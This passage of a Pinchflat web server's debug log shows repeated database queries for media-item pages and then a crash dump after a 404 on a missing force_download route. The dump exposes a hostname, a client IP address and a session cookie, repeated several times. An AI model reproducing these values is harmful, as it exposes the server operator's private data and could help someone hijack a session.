s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.975 [debug] QUERY OK source="settings" db=0.0ms idle=68.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.976 [debug] QUERY OK source="settings" db=0.0ms idle=67.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.976 [debug] QUERY OK source="settings" db=0.1ms queue=0.4ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.977 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.978 [info] Sent 200 in 4ms 17:53:43.995 [info] GET /sources/2/media/370/edit 17:53:43.996 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "370", "source_id" => "2"} Pipelines: [:browser] 17:53:43.996 [debug] QUERY OK source="media_items" db=0.3ms idle=20.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [370] 17:53:43.997 [debug] QUERY OK source="settings" db=0.1ms idle=21.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.997 [debug] QUERY OK source="settings" db=0.1ms idle=21.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.998 [debug] QUERY OK source="settings" db=0.3ms idle=20.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.998 [info] GET /sources/2/media/771/edit 17:53:43.998 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "771", "source_id" => "2"} Pipelines: [:browser] 17:53:43.998 [debug] QUERY OK source="media_items" db=0.2ms idle=21.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [771] 17:53:43.999 [info] Sent 200 in 3ms 17:53:43.999 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.999 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.000 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.001 [info] Sent 200 in 2ms 17:53:44.012 [info] GET /sources/2/media/371/edit 17:53:44.012 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "371", "source_id" => "2"} Pipelines: [:browser] 17:53:44.012 [debug] QUERY OK source="media_items" db=0.3ms idle=14.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [371] 17:53:44.013 [debug] QUERY OK source="settings" db=0.2ms idle=14.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.013 [debug] QUERY OK source="settings" db=0.2ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.014 [debug] QUERY OK source="settings" db=0.1ms idle=14.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.015 [info] Sent 200 in 3ms 17:53:44.022 [info] GET /sources/2/media/772 17:53:44.022 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "772", "source_id" => "2"} Pipelines: [:browser] 17:53:44.022 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=22.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [772] 17:53:44.023 [debug] QUERY OK source="sources" db=0.1ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:44.023 [debug] QUERY OK source="tasks" db=0.1ms queue=0.2ms idle=10.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [772] 17:53:44.024 [debug] QUERY OK source="settings" db=0.1ms idle=9.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.024 [debug] QUERY OK source="settings" db=0.1ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.024 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.025 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.026 [info] Sent 200 in 4ms 17:53:44.099 [info] GET /sources/2/media/371 17:53:44.099 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "371", "source_id" => "2"} Pipelines: [:browser] 17:53:44.099 [debug] QUERY OK source="media_items" db=0.2ms idle=75.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [371] 17:53:44.100 [debug] QUERY OK source="tasks" db=0.1ms idle=75.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [371] 17:53:44.100 [debug] QUERY OK source="sources" db=0.2ms idle=75.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:44.100 [debug] QUERY OK source="settings" db=0.0ms idle=75.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.101 [debug] QUERY OK source="settings" db=0.0ms idle=75.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.101 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.102 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.106 [info] Sent 200 in 7ms 17:53:44.117 [info] GET /sources/2/media/772/edit 17:53:44.117 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "772", "source_id" => "2"} Pipelines: [:browser] 17:53:44.118 [debug] QUERY OK source="media_items" db=0.1ms idle=17.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [772] 17:53:44.118 [debug] QUERY OK source="settings" db=0.1ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.118 [debug] QUERY OK source="settings" db=0.1ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.119 [debug] QUERY OK source="settings" db=0.0ms idle=17.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.120 [info] Sent 200 in 2ms 17:53:44.121 [info] GET /sources/2/media/372 17:53:44.121 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "372", "source_id" => "2"} Pipelines: [:browser] 17:53:44.121 [debug] QUERY OK source="media_items" db=0.1ms idle=19.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [372] 17:53:44.122 [debug] QUERY OK source="tasks" db=0.1ms idle=3.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [372] 17:53:44.122 [debug] QUERY OK source="sources" db=0.2ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:44.122 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.122 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.123 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.123 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.125 [info] Sent 200 in 3ms 17:53:44.129 [info] GET /sources/2/media/372/edit 17:53:44.129 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "372", "source_id" => "2"} Pipelines: [:browser] 17:53:44.129 [debug] QUERY OK source="media_items" db=0.1ms idle=7.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [372] 17:53:44.130 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.130 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.130 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.131 [info] Sent 200 in 2ms 17:53:44.151 [info] GET /sources/2/media/472253/force_download 17:53:44.152 [debug] QUERY OK source="settings" db=0.1ms idle=28.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.152 [debug] QUERY OK source="settings" db=0.1ms idle=22.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.152 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.153 [error] #PID<0.163111.0> running PinchflatWeb.Endpoint (connection #PID<0.163110.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/472253/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163110.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48780}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163111.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/472253/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT7qwxxfDdQQAFpkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163110.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48780}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 